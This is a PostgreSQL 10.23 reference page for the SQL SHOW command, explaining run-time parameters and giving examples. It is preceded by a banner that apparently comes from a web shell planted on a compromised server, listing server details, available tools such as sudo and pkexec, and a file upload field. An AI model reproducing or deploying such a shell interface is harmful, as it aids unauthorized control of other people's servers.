| Server IP : 104.21.25.180 / Your IP : 104.23.197.123 Web Server : Apache/2.4.37 System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64 User : ricodeal ( 1046) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/postgresql-docs/html/ |
Upload File : |
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>SHOW</title><link rel="stylesheet" type="text/css" href="stylesheet.css" /><link rev="made" href="[email protected]" /><meta name="generator" content="DocBook XSL Stylesheets Vsnapshot" /><link rel="prev" href="sql-set-transaction.html" title="SET TRANSACTION" /><link rel="next" href="sql-start-transaction.html" title="START TRANSACTION" /></head><body><div xmlns="http://www.w3.org/TR/xhtml1/transitional" class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="5" align="center">SHOW</th></tr><tr><td width="10%" align="left"><a accesskey="p" href="sql-set-transaction.html" title="SET TRANSACTION">Prev</a> </td><td width="10%" align="left"><a accesskey="u" href="sql-commands.html" title="SQL Commands">Up</a></td><th width="60%" align="center">SQL Commands</th><td width="10%" align="right"><a accesskey="h" href="index.html" title="PostgreSQL 10.23 Documentation">Home</a></td><td width="10%" align="right"> <a accesskey="n" href="sql-start-transaction.html" title="START TRANSACTION">Next</a></td></tr></table><hr></hr></div><div class="refentry" id="SQL-SHOW"><div class="titlepage"></div><a id="id-1.9.3.172.1" class="indexterm"></a><div class="refnamediv"><h2><span class="refentrytitle">SHOW</span></h2><p>SHOW — show the value of a run-time parameter</p></div><div class="refsynopsisdiv"><h2>Synopsis</h2><pre class="synopsis">SHOW <em class="replaceable"><code>name</code></em>
SHOW ALL</pre></div><div class="refsect1" id="id-1.9.3.172.5"><h2>Description</h2><p> <code class="command">SHOW</code> will display the current setting of
run-time parameters. These variables can be set using the
<code class="command">SET</code> statement, by editing the
<code class="filename">postgresql.conf</code> configuration file, through
the <code class="envar">PGOPTIONS</code> environmental variable (when using
<span class="application">libpq</span> or a <span class="application">libpq</span>-based
application), or through command-line flags when starting the
<code class="command">postgres</code> server. See <a class="xref" href="runtime-config.html" title="Chapter 19. Server Configuration">Chapter 19</a> for details.
</p></div><div class="refsect1" id="id-1.9.3.172.6"><h2>Parameters</h2><div class="variablelist"><dl class="variablelist"><dt><span class="term"><em class="replaceable"><code>name</code></em></span></dt><dd><p> The name of a run-time parameter. Available parameters are
documented in <a class="xref" href="runtime-config.html" title="Chapter 19. Server Configuration">Chapter 19</a> and on the <a class="xref" href="sql-set.html" title="SET"><span class="refentrytitle">SET</span></a> reference page. In
addition, there are a few parameters that can be shown but not
set:
</p><div class="variablelist"><dl class="variablelist"><dt><span class="term"><code class="literal">SERVER_VERSION</code></span></dt><dd><p> Shows the server's version number.
</p></dd><dt><span class="term"><code class="literal">SERVER_ENCODING</code></span></dt><dd><p> Shows the server-side character set encoding. At present,
this parameter can be shown but not set, because the
encoding is determined at database creation time.
</p></dd><dt><span class="term"><code class="literal">LC_COLLATE</code></span></dt><dd><p> Shows the database's locale setting for collation (text
ordering). At present, this parameter can be shown but not
set, because the setting is determined at database creation
time.
</p></dd><dt><span class="term"><code class="literal">LC_CTYPE</code></span></dt><dd><p> Shows the database's locale setting for character
classification. At present, this parameter can be shown but
not set, because the setting is determined at database creation
time.
</p></dd><dt><span class="term"><code class="literal">IS_SUPERUSER</code></span></dt><dd><p> True if the current role has superuser privileges.
</p></dd></dl></div></dd><dt><span class="term"><code class="literal">ALL</code></span></dt><dd><p> Show the values of all configuration parameters, with descriptions.
</p></dd></dl></div></div><div class="refsect1" id="id-1.9.3.172.7"><h2>Notes</h2><p> The function <code class="function">current_setting</code> produces
equivalent output; see <a class="xref" href="functions-admin.html" title="9.26. System Administration Functions">Section 9.26</a>.
Also, the
<a class="link" href="view-pg-settings.html" title="51.85. pg_settings"><code class="structname">pg_settings</code></a>
system view produces the same information.
</p></div><div class="refsect1" id="id-1.9.3.172.8"><h2>Examples</h2><p> Show the current setting of the parameter <code class="varname">DateStyle</code>:
</p><pre class="programlisting">SHOW DateStyle;
DateStyle
-----------
ISO, MDY
(1 row)</pre><p>
</p><p> Show the current setting of the parameter <code class="varname">geqo</code>:
</p><pre class="programlisting">SHOW geqo;
geqo
------
on
(1 row)</pre><p>
</p><p> Show all settings:
</p><pre class="programlisting">SHOW ALL;
name | setting | description
-------------------------+---------+-------------------------------------------------
allow_system_table_mods | off | Allows modifications of the structure of ...
.
.
.
xmloption | content | Sets whether XML data in implicit parsing ...
zero_damaged_pages | off | Continues processing past damaged page headers.
(196 rows)</pre></div><div class="refsect1" id="id-1.9.3.172.9"><h2>Compatibility</h2><p> The <code class="command">SHOW</code> command is a
<span class="productname">PostgreSQL</span> extension.
</p></div><div class="refsect1" id="id-1.9.3.172.10"><h2>See Also</h2><span class="simplelist"><a class="xref" href="sql-set.html" title="SET"><span class="refentrytitle">SET</span></a>, <a class="xref" href="sql-reset.html" title="RESET"><span class="refentrytitle">RESET</span></a></span></div></div><div xmlns="http://www.w3.org/TR/xhtml1/transitional" class="navfooter"><hr></hr><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"><a accesskey="p" href="sql-set-transaction.html" title="SET TRANSACTION">Prev</a> </td><td width="20%" align="center"><a accesskey="u" href="sql-commands.html" title="SQL Commands">Up</a></td><td width="40%" align="right"> <a accesskey="n" href="sql-start-transaction.html" title="START TRANSACTION">Next</a></td></tr><tr><td width="40%" align="left" valign="top">SET TRANSACTION </td><td width="20%" align="center"><a accesskey="h" href="index.html" title="PostgreSQL 10.23 Documentation">Home</a></td><td width="40%" align="right" valign="top"> START TRANSACTION</td></tr></table></div></body></html>